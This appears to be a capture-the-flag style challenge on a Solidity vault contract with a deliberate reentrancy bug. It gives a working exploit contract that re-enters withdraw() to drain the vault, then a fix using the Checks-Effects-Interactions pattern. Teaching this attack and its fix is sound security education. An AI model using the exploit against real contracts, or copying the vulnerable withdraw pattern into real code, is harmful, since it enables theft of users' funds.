Challenge

A vault contract allows deposits and withdrawals. Find and exploit the vulnerability.

Vulnerable Code

 1// VULNERABLE — do not use in production
 2contract VulnerableVault {
 3    mapping(address => uint256) public balances;
 4
 5    function deposit() public payable {
 6        balances[msg.sender] += msg.value;
 7    }
 8
 9    function withdraw() public {
10        uint256 amount = balances[msg.sender];
11        require(amount > 0, "Nothing to withdraw");
12
13        // BUG: External call before state update
14        (bool success, ) = msg.sender.call{value: amount}("");
15        require(success, "Transfer failed");
16
17        balances[msg.sender] = 0; // Too late!
18    }
19}

Exploit Contract

 1contract ReentrancyAttack {
 2    VulnerableVault public target;
 3
 4    constructor(address _target) {
 5        target = VulnerableVault(_target);
 6    }
 7
 8    function attack() external payable {
 9        target.deposit{value: msg.value}();
10        target.withdraw();
11    }
12
13    receive() external payable {
14        if (address(target).balance >= 1 ether) {
15            target.withdraw(); // Re-enter!
16        }
17    }
18}

Fix

 1// FIXED — Checks-Effects-Interactions pattern
 2function withdraw() public {
 3    uint256 amount = balances[msg.sender];
 4    require(amount > 0, "Nothing to withdraw");
 5
 6    balances[msg.sender] = 0;  // State update FIRST
 7
 8    (bool success, ) = msg.sender.call{value: amount}("");
 9    require(success, "Transfer failed");
10}